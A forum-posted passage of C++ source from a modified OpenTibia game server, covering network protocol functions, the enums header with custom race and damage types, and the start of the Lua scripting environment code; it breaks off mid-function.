void ProtocolGame::sendChannelMessage(std::string author, std::string text, SpeakClasses type, uint8_t channel)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xAA);
        msg->AddU32(0x00);
        msg->AddString(author);
        msg->AddU16(0x00);
        msg->AddByte(type);
        msg->AddU16(channel);
        msg->AddString(text);
    }
}

void ProtocolGame::AddShopItem(NetworkMessage_ptr msg, const ShopInfo item)
{
    const ItemType& it = Item::items[item.itemId];
    msg->AddU16(it.clientId);
    if(it.isSplash() || it.isFluidContainer())
        msg->AddByte(fluidMap[item.subType % 8]);
    else if(it.stackable || it.charges)
        msg->AddByte(item.subType);
    else
        msg->AddByte(0x01);

    msg->AddString(item.itemName);
    msg->AddU32(uint32_t(it.weight * 100));
    msg->AddU32(item.buyPrice);
    msg->AddU32(item.sellPrice);
}
     void ProtocolGame::parseExtendedOpcode(NetworkMessage& msg)
{
     uint8_t opcode = msg.GetByte();
     std::string buffer = msg.GetString();

    // process additional opcodes via lua script event
    addGameTask(&Game::parsePlayerExtendedOpcode, player->getID(), opcode, buffer);
}

    void ProtocolGame::sendExtendedOpcode(uint8_t opcode, const std::string& buffer)
{
// extended opcodes can only be send to players using otclient, cipsoft's tibia can't understand them

     NetworkMessage_ptr msg = getOutputBuffer();
     if(msg)
{
     TRACK_MESSAGE(msg);
      msg->AddByte(0x32);
      msg->AddByte(opcode);
      msg->AddString(buffer);
}
}

void ProtocolGame::reloadCreature(const Creature* creature)
{
    if(!canSee(creature))
        return;

    // we are cheating the client in here!
    uint32_t stackpos = creature->getTile()->getClientIndexOfThing(player, creature);
    if(stackpos >= 10)
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        std::list<uint32_t>::iterator it = std::find(knownCreatureList.begin(), knownCreatureList.end(), creature->getID());
        if(it != knownCreatureList.end())
        {
            RemoveTileItem(msg, creature->getPosition(), stackpos);
            msg->AddByte(0x6A);

            msg->AddPosition(creature->getPosition());
            msg->AddByte(stackpos);
            AddCreature(msg, creature, false, creature->getID());
        }
        else
            AddTileCreature(msg, creature->getPosition(), stackpos, creature);
    }
}

void ProtocolGame::sendCreatureNick(const Creature* creature)
{
    reloadCreature(creature);
}
 

enums.h

Citar

////////////////////////////////////////////////////////////////////////
// OpenTibia - an opensource roleplaying game
////////////////////////////////////////////////////////////////////////
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.
////////////////////////////////////////////////////////////////////////

#ifndef __ENUMS__
#define __ENUMS__

#include <string>
#include <list>

enum DatabaseEngine_t
{
    DATABASE_ENGINE_NONE = 0,
    DATABASE_ENGINE_MYSQL,
    DATABASE_ENGINE_SQLITE,
    DATABASE_ENGINE_POSTGRESQL,
    DATABASE_ENGINE_ODBC
};

enum Encryption_t
{
    ENCRYPTION_PLAIN = 0,
    ENCRYPTION_MD5,
    ENCRYPTION_SHA1
};

enum GuildLevel_t
{
    GUILDLEVEL_NONE = 0,
    GUILDLEVEL_MEMBER,
    GUILDLEVEL_VICE,
    GUILDLEVEL_LEADER
};

enum OperatingSystem_t
{
CLIENTOS_LINUX = 0x01,
CLIENTOS_WINDOWS = 0x02,
CLIENTOS_OTCLIENT_LINUX = 0x0A,
CLIENTOS_OTCLIENT_WINDOWS = 0x0B,
CLIENTOS_OTCLIENT_MAC = 0x0C

};

enum Channels_t
{
    CHANNEL_GUILD = 0x00,
    CHANNEL_PARTY = 0x01,
    CHANNEL_RVR = 0x03,
    CHANNEL_HELP = 0x09,
    CHANNEL_DEFAULT = 0xFFFE, //internal usage only, there is no such channel
    CHANNEL_PRIVATE = 0xFFFF
};

enum ViolationAction_t
{
    ACTION_NOTATION = 0,
    ACTION_NAMEREPORT,
    ACTION_BANISHMENT,
    ACTION_BANREPORT,
    ACTION_BANFINAL,
    ACTION_BANREPORTFINAL,
    ACTION_STATEMENT,
    //internal use
    ACTION_DELETION,
    ACTION_NAMELOCK,
    ACTION_BANLOCK,
    ACTION_BANLOCKFINAL,
    ACTION_PLACEHOLDER
};

enum RaceType_t
{
    RACE_NONE = 0,
    RACE_VENOM,
    RACE_BLOOD,
    RACE_UNDEAD,
    RACE_FIRE,
    RACE_ENERGY,
    RACE_DARK = 6,
    RACE_STEEL = 6,
    RACE_WATER = 6,
    RACE_NORMAL = 7,
    RACE_FIRE2 = 8,
    RACE_FIGHTING = 9,
    RACE_FLYING = 10,
    RACE_GRASS = 11,
    RACE_POISON = 12,
    RACE_ELECTRIC = 13,
    RACE_GROUND = 14,
    RACE_PSYCHIC = 15,
    RACE_ROCK = 16,
    RACE_ICE = 17,
    RACE_BUG = 18,
    RACE_DRAGON = 19,
    RACE_GHOST = 20
};

enum CombatType_t
{
    COMBAT_FIRST        = 0,
    COMBAT_NONE        = COMBAT_FIRST,
    COMBAT_PHYSICALDAMAGE    = 1 << 0,
    COMBAT_ENERGYDAMAGE    = 1 << 1,
    COMBAT_EARTHDAMAGE    = 1 << 2,
    COMBAT_FIREDAMAGE    = 1 << 3,
    COMBAT_UNDEFINEDDAMAGE    = 1 << 4,
    COMBAT_LIFEDRAIN    = 1 << 5,
    COMBAT_MANADRAIN    = 1 << 6,
    COMBAT_HEALING        = 1 << 7,
    COMBAT_DROWNDAMAGE    = 1 << 8,
    COMBAT_ICEDAMAGE    = 1 << 9,
    COMBAT_HOLYDAMAGE    = 1 << 10,
    COMBAT_DEATHDAMAGE    = 1 << 11,
    COMBAT_TESTDAMAGE    = 1 << 12,
    COMBAT_ELECTRICDAMAGE    = 1 << 13,
    COMBAT_ROCKDAMAGE    = 1 << 14,
    COMBAT_FLYDAMAGE    = 1 << 15,
    COMBAT_BUGDAMAGE    = 1 << 16,
    COMBAT_FIGHTDAMAGE    = 1 << 17,
    COMBAT_DRAGONDAMAGE    = 1 << 18,
    COMBAT_VENOMDAMAGE    = 1 << 19,
    COMBAT_LAST        = COMBAT_NONE
};

enum CombatParam_t
{
    COMBATPARAM_NONE = 0,
    COMBATPARAM_COMBATTYPE,
    COMBATPARAM_EFFECT,
    COMBATPARAM_DISTANCEEFFECT,
    COMBATPARAM_BLOCKEDBYSHIELD,
    COMBATPARAM_BLOCKEDBYARMOR,
    COMBATPARAM_TARGETCASTERORTOPMOST,
    COMBATPARAM_CREATEITEM,
    COMBATPARAM_AGGRESSIVE,
    COMBATPARAM_DISPEL,
    COMBATPARAM_USECHARGES,
    COMBATPARAM_TARGETPLAYERSORSUMMONS,
    COMBATPARAM_DIFFERENTAREADAMAGE,
    COMBATPARAM_HITEFFECT,
    COMBATPARAM_HITCOLOR
};

enum CallBackParam_t
{
    CALLBACKPARAM_NONE = 0,
    CALLBACKPARAM_LEVELMAGICVALUE,
    CALLBACKPARAM_SKILLVALUE,
    CALLBACKPARAM_TARGETTILECALLBACK,
    CALLBACKPARAM_TARGETCREATURECALLBACK
};

enum ConditionParam_t
{
    CONDITIONPARAM_OWNER = 1,
    CONDITIONPARAM_TICKS = 2,
    CONDITIONPARAM_OUTFIT = 3,
    CONDITIONPARAM_HEALTHGAIN = 4,
    CONDITIONPARAM_HEALTHTICKS = 5,
    CONDITIONPARAM_MANAGAIN = 6,
    CONDITIONPARAM_MANATICKS = 7,
    CONDITIONPARAM_DELAYED = 8,
    CONDITIONPARAM_SPEED = 9,
    CONDITIONPARAM_LIGHT_LEVEL = 10,
    CONDITIONPARAM_LIGHT_COLOR = 11,
    CONDITIONPARAM_SOULGAIN = 12,
    CONDITIONPARAM_SOULTICKS = 13,
    CONDITIONPARAM_MINVALUE = 14,
    CONDITIONPARAM_MAXVALUE = 15,
    CONDITIONPARAM_STARTVALUE = 16,
    CONDITIONPARAM_TICKINTERVAL = 17,
    CONDITIONPARAM_FORCEUPDATE = 18,
    CONDITIONPARAM_SKILL_MELEE = 19,
    CONDITIONPARAM_SKILL_FIST = 20,
    CONDITIONPARAM_SKILL_CLUB = 21,
    CONDITIONPARAM_SKILL_SWORD = 22,
    CONDITIONPARAM_SKILL_AXE = 23,
    CONDITIONPARAM_SKILL_DISTANCE = 24,
    CONDITIONPARAM_SKILL_SHIELD = 25,
    CONDITIONPARAM_SKILL_FISHING = 26,
    CONDITIONPARAM_STAT_MAXHEALTH = 27,
    CONDITIONPARAM_STAT_MAXMANA = 28,
    CONDITIONPARAM_STAT_SOUL = 29,
    CONDITIONPARAM_STAT_MAGICLEVEL = 30,
    CONDITIONPARAM_STAT_MAXHEALTHPERCENT = 31,
    CONDITIONPARAM_STAT_MAXMANAPERCENT = 32,
    CONDITIONPARAM_STAT_SOULPERCENT = 33,
    CONDITIONPARAM_STAT_MAGICLEVELPERCENT = 34,
    CONDITIONPARAM_SKILL_MELEEPERCENT = 35,
    CONDITIONPARAM_SKILL_FISTPERCENT = 36,
    CONDITIONPARAM_SKILL_CLUBPERCENT = 37,
    CONDITIONPARAM_SKILL_SWORDPERCENT = 38,
    CONDITIONPARAM_SKILL_AXEPERCENT = 39,
    CONDITIONPARAM_SKILL_DISTANCEPERCENT = 40,
    CONDITIONPARAM_SKILL_SHIELDPERCENT = 41,
    CONDITIONPARAM_SKILL_FISHINGPERCENT = 42,
    CONDITIONPARAM_PERIODICDAMAGE = 43,
    CONDITIONPARAM_BUFF = 44,
    CONDITIONPARAM_SUBID = 45
};

enum BlockType_t
{
    BLOCK_NONE = 0,
    BLOCK_DEFENSE,
    BLOCK_ARMOR,
    BLOCK_IMMUNITY
};

enum Reflect_t
{
    REFLECT_FIRST = 0,
    REFLECT_PERCENT = REFLECT_FIRST,
    REFLECT_CHANCE,
    REFLECT_LAST = REFLECT_CHANCE
};

enum Increment_t
{
    INCREMENT_FIRST = 0,
    HEALING_VALUE = INCREMENT_FIRST,
    HEALING_PERCENT,
    MAGIC_VALUE,
    MAGIC_PERCENT,
    INCREMENT_LAST = MAGIC_PERCENT
};

enum skills_t
{
    SKILL_FIRST = 0,
    SKILL_FIST = SKILL_FIRST,
    SKILL_CLUB,
    SKILL_SWORD,
    SKILL_AXE,
    SKILL_DIST,
    SKILL_SHIELD,
    SKILL_FISH,
    SKILL__MAGLEVEL,
    SKILL__LEVEL,
    SKILL_LAST = SKILL_FISH,
    SKILL__LAST = SKILL__LEVEL
};

enum stats_t
{
    STAT_FIRST = 0,
    STAT_MAXHEALTH = STAT_FIRST,
    STAT_MAXMANA,
    STAT_SOUL,
    STAT_LEVEL,
    STAT_MAGICLEVEL,
    STAT_LAST = STAT_MAGICLEVEL
};

enum lossTypes_t
{
    LOSS_FIRST = 0,
    LOSS_EXPERIENCE = LOSS_FIRST,
    LOSS_MANA,
    LOSS_SKILLS,
    LOSS_CONTAINERS,
    LOSS_ITEMS,
    LOSS_LAST = LOSS_ITEMS
};

enum formulaType_t
{
    FORMULA_UNDEFINED = 0,
    FORMULA_LEVELMAGIC,
    FORMULA_SKILL,
    FORMULA_VALUE
};

enum ConditionId_t
{
    CONDITIONID_DEFAULT = -1,
    CONDITIONID_COMBAT = 0,
    CONDITIONID_HEAD,
    CONDITIONID_NECKLACE,
    CONDITIONID_BACKPACK,
    CONDITIONID_ARMOR,
    CONDITIONID_RIGHT,
    CONDITIONID_LEFT,
    CONDITIONID_LEGS,
    CONDITIONID_FEET,
    CONDITIONID_RING,
    CONDITIONID_AMMO,
    CONDITIONID_OUTFIT
};

enum PlayerSex_t
{
    PLAYERSEX_FEMALE = 0,
    PLAYERSEX_MALE
    // DO NOT ADD HERE! Every higher sex is only for your
    // own use- each female should be even and male odd.
};

struct Outfit_t
{
    Outfit_t() {lookHead = lookBody = lookLegs = lookFeet = lookType = lookTypeEx = lookAddons = 0;}
    uint16_t lookType, lookTypeEx;
    uint8_t lookHead, lookBody, lookLegs, lookFeet, lookAddons;

    bool operator==(const Outfit_t o) const
    {
        return (o.lookAddons == lookAddons
            && o.lookType == lookType && o.lookTypeEx == lookTypeEx
            && o.lookHead == lookHead && o.lookBody == lookBody
            && o.lookLegs == lookLegs && o.lookFeet == lookFeet);
    }

    bool operator!=(const Outfit_t o) const
    {
        return !(*this == o);
    }
};

struct LightInfo
{
    uint32_t level, color;

    LightInfo() {level = color = 0;}
    LightInfo(uint32_t _level, uint32_t _color):
        level(_level), color(_color) {}
};

struct ShopInfo
{
    uint32_t itemId;
    int32_t subType, buyPrice, sellPrice;
    std::string itemName;

    ShopInfo()
    {
        itemId = 0;
        subType = 1;
        buyPrice = sellPrice = -1;
        itemName = "";
    }
    ShopInfo(uint32_t _itemId, int32_t _subType = 1, int32_t _buyPrice = -1, int32_t _sellPrice = -1,
        const std::string& _itemName = ""): itemId(_itemId), subType(_subType), buyPrice(_buyPrice),
        sellPrice(_sellPrice), itemName(_itemName) {}
};

typedef std::list<ShopInfo> ShopInfoList;
#endif

luascript.cpp

Citar

////////////////////////////////////////////////////////////////////////
// OpenTibia - an opensource roleplaying game
////////////////////////////////////////////////////////////////////////
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.
////////////////////////////////////////////////////////////////////////
#include "otpch.h"
#include "luascript.h"
#include "scriptmanager.h"

#include <boost/filesystem.hpp>
#include <boost/any.hpp>
#include <iostream>
#include <iomanip>

#include "player.h"
#include "item.h"
#include "teleport.h"

#include "town.h"
#include "house.h"
#include "housetile.h"

#include "database.h"
#include "iologindata.h"
#include "ioban.h"
#include "iomapserialize.h"

#include "talkaction.h"
#include "spells.h"
#include "combat.h"
#include "condition.h"

#include "baseevents.h"
#include "monsters.h"
#include "raids.h"

#include "configmanager.h"
#include "vocation.h"
#include "status.h"
#include "game.h"
#include "chat.h"

extern Game g_game;
extern Monsters g_monsters;
extern Chat g_chat;
extern ConfigManager g_config;
extern Spells* g_spells;
extern TalkActions* g_talkActions;

enum
{
    EVENT_ID_LOADING = 1,
    EVENT_ID_USER = 1000,
};

ScriptEnviroment::AreaMap ScriptEnviroment::m_areaMap;
uint32_t ScriptEnviroment::m_lastAreaId = 0;
ScriptEnviroment::CombatMap ScriptEnviroment::m_combatMap;
uint32_t ScriptEnviroment::m_lastCombatId = 0;
ScriptEnviroment::ConditionMap ScriptEnviroment::m_conditionMap;
uint32_t ScriptEnviroment::m_lastConditionId = 0;

ScriptEnviroment::ThingMap ScriptEnviroment::m_globalMap;
ScriptEnviroment::StorageMap ScriptEnviroment::m_storageMap;
ScriptEnviroment::TempItemListMap ScriptEnviroment::m_tempItems;

ScriptEnviroment::ScriptEnviroment()
{
    m_lastUID = 70000;
    m_loaded = true;
    reset();
}

ScriptEnviroment::~ScriptEnviroment()
{
    for(CombatMap::iterator it = m_combatMap.begin(); it != m_combatMap.end(); ++it)
        delete it->second;

    m_combatMap.clear();
    for(AreaMap::iterator it = m_areaMap.begin(); it != m_areaMap.end(); ++it)
        delete it->second;

    m_areaMap.clear();
    reset();
}

void ScriptEnviroment::reset()
{
    m_scriptId = m_callbackId = 0;
    m_timerEvent = false;
    m_realPos = Position();

    m_interface = NULL;
    for(TempItemListMap::iterator mit = m_tempItems.begin(); mit != m_tempItems.end(); ++mit)
    {
        ItemList itemList = mit->second;
        for(ItemList::iterator it = itemList.begin(); it != itemList.end(); ++it)
        {
            if((*it)->getParent() == VirtualCylinder::virtualCylinder)
                g_game.freeThing(*it);
        }
    }

    m_tempItems.clear();
    for(DBResultMap::iterator it = m_tempResults.begin(); it != m_tempResults.end(); ++it)
    {
        if(it->second)
            it->second->free();
    }

    m_tempResults.clear();
    m_localMap.clear();
}

bool ScriptEnviroment::saveGameState()
{
    if(!g_config.getBool(ConfigManager::SAVE_GLOBAL_STORAGE))
        return true;

    Database* db = Database::getInstance();
    DBQuery query;

    query << "DELETE FROM `global_storage` WHERE `world_id` = " << g_config.getNumber(ConfigManager::WORLD_ID) << ";";
    if(!db->executeQuery(query.str()))
        return false;

    DBInsert query_insert(db);
    query_insert.setQuery("INSERT INTO `global_storage` (`key`, `world_id`, `value`) VALUES ");
    for(StorageMap::const_iterator it = m_storageMap.begin(); it != m_storageMap.end(); ++it)
    {
        char buffer[25 + it->second.length()];
        sprintf(buffer, "%u, %u, %s", it->first, g_config.getNumber(ConfigManager::WORLD_ID), db->escapeString(it->second).c_str());
        if(!query_insert.addRow(buffer))
            return false;
    }

    return query_insert.execute();
}

bool ScriptEnviroment::loadGameState()
{
    Database* db = Database::getInstance();
    DBResult* result;

    DBQuery query;
    query << "SELECT `key`, `value` FROM `global_storage` WHERE `world_id` = " << g_config.getNumber(ConfigManager::WORLD_ID) << ";";
    if((result = db->storeQuery(query.str())))
    {
        do
            m_storageMap[result->getDataInt("key")] = result->getDataString("value");
        while(result->next());
        result->free();
    }

    query.str("");
    return true;
}

bool ScriptEnviroment::setCallbackId(int32_t callbackId, LuaScriptInterface* interface)
{
    if(!m_callbackId)
    {
        m_callbackId = callbackId;
        m_interface = interface;
        return true;
    }

    //nested callbacks are not allowed
    if(m_interface)
        m_interface->errorEx("Nested callbacks!");

    return false;
}

void ScriptEnviroment::getInfo(int32_t& scriptId, std::string& desc, LuaScriptInterface*& interface, int32_t& callbackId, bool& timerEvent)
{
    scriptId = m_scriptId;
    desc = m_eventdesc;
    interface = m_interface;
    callbackId = m_callbackId;
    timerEvent = m_timerEvent;
}

void ScriptEnviroment::addUniqueThing(Thing* thing)
{
    Item* item = thing->getItem();
    if(!item || !item->getUniqueId())
        return;

    if(m_globalMap[item->getUniqueId()])
    {
        if(item->getActionId() != 2000) //scripted quest system
            std::cout << "Duplicate uniqueId " << item->getUniqueId() << std::endl;
    }
    else
        m_globalMap[item->getUniqueId()] = thing;
}

void ScriptEnviroment::removeUniqueThing(Thing* thing)
{
    Item* item = thing->getItem();
    if(!item || !item->getUniqueId())
        return;

    ThingMap::iterator it = m_globalMap.find(item->getUniqueId());
    if(it != m_globalMap.end())
        m_globalMap.erase(it);
}

uint32_t ScriptEnviroment::addThing(Thing* thing)
{
    if(!thing || thing->isRemoved())
        return 0;

    for(ThingMap::iterator it = m_localMap.begin(); it != m_localMap.end(); ++it)
    {
        if(it->second == thing)
            return it->first;
    }

    if(Creature* creature = thing->getCreature())
    {
        m_localMap[creature->getID()] = thing;
        return creature->getID();
    }

    if(Item* item = thing->getItem())
    {
        uint32_t tmp = item->getUniqueId();
        if(tmp)
        {
            m_localMap[tmp] = thing;
            return tmp;
        }
    }

    while(m_localMap.find(m_lastUID) != m_localMap.end())
        ++m_lastUID;

    m_localMap[m_lastUID] = thing;
    return m_lastUID;
}

void ScriptEnviroment::insertThing(uint32_t uid, Thing* thing)
{
    if(!m_localMap[uid])
        m_localMap[uid] = thing;
    else
        std::cout << "[Error - ScriptEnviroment::insertThing] Thing uid already taken" << std::endl;
}

Thing* ScriptEnviroment::getThingByUID(uint32_t uid)
{
    Thing* tmp = m_localMap[uid];
    if(tmp && !tmp->isRemoved())
        return tmp;

    tmp = m_globalMap[uid];
    if(tmp && !tmp->isRemoved())
        return tmp;

    if(uid >= 0x10000000)
    {
        tmp = g_game.getCreatureByID(uid);
        if(tmp && !tmp->isRemoved())
        {
            m_localMap[uid] = tmp;
            return tmp;
        }
    }

    return NULL;
}

Item* ScriptEnviroment::getItemByUID(uint32_t uid)
{
    if(Thing* tmp = getThingByUID(uid))
    {
        if(Item* item = tmp->getItem())
            return item;
    }

    return NULL;
}

Container* ScriptEnviroment::getContainerByUID(uint32_t uid)
{
    if(Item* tmp = getItemByUID(uid))
    {
        if(Container* container = tmp->getContainer())
            return container;
    }

    return NULL;
}

Creature* ScriptEnviroment::getCreatureByUID(uint32_t uid)
{
    if(Thing* tmp = getThingByUID(uid))
    {
        if(Creature* creature = tmp->getCreature())
            return creature;
    }

    return NULL;
}

Player* ScriptEnviroment::getPlayerByUID(uint32_t uid)
{
    if(Thing* tmp = getThingByUID(uid))
    {
        if(Creature* creature = tmp->getCreature())
        {
            if(Player* player = creature->getPlayer())
                return player;
        }
    }

    return NULL;
}

void ScriptEnviroment::removeThing(uint32_t uid)
{
    ThingMap::iterator it;
    it = m_localMap.find(uid);
    if(it != m_localMap.end())
        m_localMap.erase(it);

    it = m_globalMap.find(uid);
    if(it != m_globalMap.end())
        m_globalMap.erase(it);
}

uint32_t ScriptEnviroment::addCombatArea(CombatArea* area)
{
    uint32_t newAreaId = m_lastAreaId + 1;
    m_areaMap[newAreaId] = area;

    m_lastAreaId++;
    return newAreaId;
}

CombatArea* ScriptEnviroment::getCombatArea(uint32_t areaId)
{
    AreaMap::const_iterator it = m_areaMap.find(areaId);
    if(it != m_areaMap.end())
        return it->second;

    return NULL;
}

uint32_t ScriptEnviroment::addCombatObject(Combat* combat)
{
    uint32_t newCombatId = m_lastCombatId + 1;
    m_combatMap[newCombatId] = combat;

    m_lastCombatId++;
    return newCombatId;
}

Combat* ScriptEnviroment::getCombatObject(uint32_t combatId)
{
    CombatMap::iterator it = m_combatMap.find(combatId);
    if(it != m_combatMap.end())
        return it->second;

    return NULL;
}

uint32_t ScriptEnviroment::addConditionObject(Condition* condition)
{
    uint32_t newConditionId = m_lastConditionId + 1;
    m_conditionMap[newConditionId] = condition;

    m_lastConditionId++;
    return m_lastConditionId;
}

Condition* ScriptEnviroment::getConditionObject(uint32_t conditionId)
{
    ConditionMap::iterator it = m_conditionMap.find(conditionId);
    if(it != m_conditionMap.end())
        return it->second;

    return NULL;
}

void ScriptEnviroment::addTempItem(ScriptEnviroment* env, Item* item)
{
    m_tempItems[env].push_back(item);
}

void ScriptEnviroment::removeTempItem(ScriptEnviroment* env, Item* item)
{
    ItemList itemList = m_tempItems[env];
    ItemList::iterator it = std::find(itemList.begin(), itemList.end(), item);
    if(it != itemList.end())
        itemList.erase(it);
}

void ScriptEnviroment::removeTempItem(Item* item)
{
    for(TempItemListMap::iterator mit = m_tempItems.begin(); mit != m_tempItems.end(); ++mit)
    {
        ItemList itemList = mit->second;
        ItemList::iterator it = std::find(itemList.begin(), itemList.end(), item);
        if(it != itemList.end())
            itemList.erase(it);
    }
}

uint32_t ScriptEnviroment::addResult(DBResult* res)
{
    uint32_t lastId = 0;
    while(m_tempResults.find(lastId) != m_tempResults.end())
        lastId++;

    m_tempResults[lastId] = res;
    return lastId;
}

bool ScriptEnviroment::removeResult(uint32_t id)
{
    DBResultMap::iterator it = m_tempResults.find(id);
    if(it == m_tempResults.end())
        return false;

    if(it->second)
        it->second->free();

    m_tempResults.erase(it);
    return true;
}

DBResult* ScriptEnviroment::getResultByID(uint32_t id)
{
    DBResultMap::iterator it = m_tempResults.find(id);
    if(it != m_tempResults.end())
        return it->second;

    return NULL;
}

bool ScriptEnviroment::getStorage(const uint32_t key, std::string& value) const
{
    StorageMap::const_iterator it = m_storageMap.find(key);
    if(it != m_storageMap.end())
    {
        value = it->second;
        return true;
    }

    value = "-1";
    return false;
}

void ScriptEnviroment::streamVariant(std::stringstream& stream, const std::string& local, const LuaVariant& var)
{
    if(!local.empty())
        stream << "local " << local << " = {" << std::endl;

    stream << "type = " << var.type;
    switch(var.type)
    {
        case VARIANT_NUMBER:
            stream << "," << std::endl << "number = " << var.number;
            break;
        case VARIANT_STRING:
            stream << "," << std::endl << "string = \"" << var.text << "\"";
            break;
        case VARIANT_TARGETPOSITION:
        case VARIANT_POSITION:
        {
            stream << "," << std::endl;
            streamPosition(stream, "pos", var.pos);
            break;
        }
        case VARIANT_NONE:
        default:
            break;
    }

    if(!local.empty())
        stream << std::endl << "}" << std::endl;
}

void ScriptEnviroment::streamThing(std::stringstream& stream, const std::string& local, Thing* thing, uint32_t id/* = 0*/)
{
    if(!local.empty())
        stream << "local " << local << " = {" << std::endl;

    if(thing && thing->getItem())
    {
        const Item* item = thing->getItem();
        if(!id)
            id = addThing(thing);

        stream << "uid = " << id << "," << std::endl;
        stream << "itemid = " << item->getID() << "," << std::endl;
        if(item->hasSubType())
            stream << "type = " << item->getSubType() << "," << std::endl;
        else
            stream << "type = 0," << std::endl;

        stream << "actionid = " << item->getActionId() << std::endl;
    }
    else if(thing && thing->getCreature())
    {
        const Creature* creature = thing->getCreature();
        if(!id)
            id = creature->getID();

        stream << "uid = " << id << "," << std::endl;
        stream << "itemid = 1," << std::endl;
        if(creature->getPlayer())
            stream << "type = 1," << std::endl;
        else if(creature->getMonster())
            stream << "type = 2," << std::endl;
        else
            stream << "type = 3," << std::endl;

        if(const Player* player = creature->getPlayer())
            stream << "actionid = " << player->getGUID() << "," << std::endl;
        else
            stream << "actionid = 0" << std::endl;
    }
    else
    {
        stream << "uid = 0," << std::endl;
        stream << "itemid = 0," << std::endl;
        stream << "type = 0," << std::endl;
        stream << "actionid = 0" << std::endl;
    }

    if(!local.empty())
        stream << "}" << std::endl;
}

void ScriptEnviroment::streamPosition(std::stringstream& stream, const std::string& local, const Position& position, uint32_t stackpos)
{
    if(!local.empty())
        stream << "local " << local << " = {" << std::endl;

    stream << "x = " << position.x << "," << std::endl;
    stream << "y = " << position.y << "," << std::endl;
    stream << "z = " << position.z << "," << std::endl;

    stream << "stackpos = " << stackpos << std::endl;
    if(!local.empty())
        stream << "}" << std::endl;
}

void ScriptEnviroment::streamOutfit(std::stringstream& stream, const std::string& local, const Outfit_t& outfit)
{
    if(!local.empty())
        stream << "local " << local << " = {" << std::endl;

    stream << "lookType = " << outfit.lookType << "," << std::endl;
    stream << "lookTypeEx = " << outfit.lookTypeEx << "," << std::endl;

    stream << "lookHead = " << outfit.lookHead << "," << std::endl;
    stream << "lookBody = " << outfit.lookBody << "," << std::endl;
    stream << "lookLegs = " << outfit.lookLegs << "," << std::endl;
    stream << "lookFeet = " << outfit.lookFeet << "," << std::endl;

    stream << "lookAddons = " << outfit.lookAddons << std::endl;
    if(!local.empty())
        stream << "}" << std::endl;
}

std::string LuaScriptInterface::getError(ErrorCode_t code)
{
    switch(code)
    {
        case LUA_ERROR_PLAYER_NOT_FOUND:
            return "Player not found";
        case LUA_ERROR_MONSTER_NOT_FOUND:
            return "Monster not found";
        case LUA_ERROR_NPC_NOT_FOUND:
            return "NPC not found";
        case LUA_ERROR_CREATURE_NOT_FOUND:
            return "Creature not found";
        case LUA_ERROR_ITEM_NOT_FOUND:
            return "Item not found";
        case LUA_ERROR_THING_NOT_FOUND:
            return "Thing not found";
        case LUA_ERROR_TILE_NOT_FOUND:
            return "Tile not found";
        case LUA_ERROR_HOUSE_NOT_FOUND:
            return "House not found";
        case LUA_ERROR_COMBAT_NOT_FOUND:
            return "Combat not found";
        case LUA_ERROR_CONDITION_NOT_FOUND:
            return "Condition not found";
        case LUA_ERROR_AREA_NOT_FOUND:
            return "Area not found";
        case LUA_ERROR_CONTAINER_NOT_FOUND:
            return "Container not found";
        case LUA_ERROR_VARIANT_NOT_FOUND:
            return "Variant not found";
        case LUA_ERROR_VARIANT_UNKNOWN:
            return "Unknown variant type";
        case LUA_ERROR_SPELL_NOT_FOUND:
            return "Spell not found";
        default:
            break;
    }

    return "Invalid error code!";
}

ScriptEnviroment LuaScriptInterface::m_scriptEnv[21];
int32_t LuaScriptInterface::m_scriptEnvIndex = -1;

LuaScriptInterface::LuaScriptInterface(std::string interfaceName)
{
    m_luaState = NULL;
    m_interfaceName = interfaceName;
    m_lastEventTimerId = 1000;
}

LuaScriptInterface::~LuaScriptInterface()
{
    closeState();
}

bool LuaScriptInterface::reInitState()
{
    closeState();
    return initState();
}

bool LuaScriptInterface::loadBuffer(const std::string& text, Npc* npc/* = NULL*/)
{
    //loads buffer as a chunk at stack top
    int32_t ret = luaL_loadbuffer(m_luaState, text.c_str(), text.length(), "loadBuffer");
    if(ret)
    {
        m_lastError = popString(m_luaState);
        error(NULL, m_lastError);
        return false;
    }

    //check that it is loaded as a function
    if(!lua_isfunction(m_luaState, -1))
        return false;

    m_loadingFile = "buffer";
    reserveEnv();

    ScriptEnviroment* env = getEnv();
    env->setScriptId(EVENT_ID_LOADING, this);
    env->setNpc(npc);

    //execute it
    ret = lua_pcall(m_luaState, 0, 0, 0);
    if(ret)
    {
        error(NULL, popString(m_luaState));
        releaseEnv();
        return false;
    }

    releaseEnv();
    return true;
}

bool LuaScriptInterface::loadFile(const std::string& file, Npc* npc/* = NULL*/)
{
    //loads file as a chunk at stack top
    int32_t ret = luaL_loadfile(m_luaState, file.c_str());
    if(ret)
    {
        m_lastError = popString(m_luaState);
        std::cout << "[Error - LuaScriptInterface::loadFile] " << m_lastError << std::endl;
        return false;
    }

    //check that it is loaded as a function
    if(!lua_isfunction(m_luaState, -1))
        return false;

    m_loadingFile = file;
    reserveEnv();

    ScriptEnviroment* env = getEnv();
    env->setScriptId(EVENT_ID_LOADING, this);
    env->setNpc(npc);

    //execute it
    ret = lua_pcall(m_luaState, 0, 0, 0);
    if(ret)
    {
        error(NULL, popString(m_luaState));
        releaseEnv();
        return false;
    }

    releaseEnv();
    return true;
}

bool LuaScriptInterface::loadDirectory(const std::string& dir, Npc* npc/* = NULL*/)
{
    StringVec files;
    for(boost::filesystem::directory_iterator it(dir), end; it != end; ++it)
    {
        std::string s = it->leaf();
        if(!boost::filesystem::is_directory(it->status()) && (s.size() > 4 ? s.substr(s.size() - 4) : "") == ".lua")
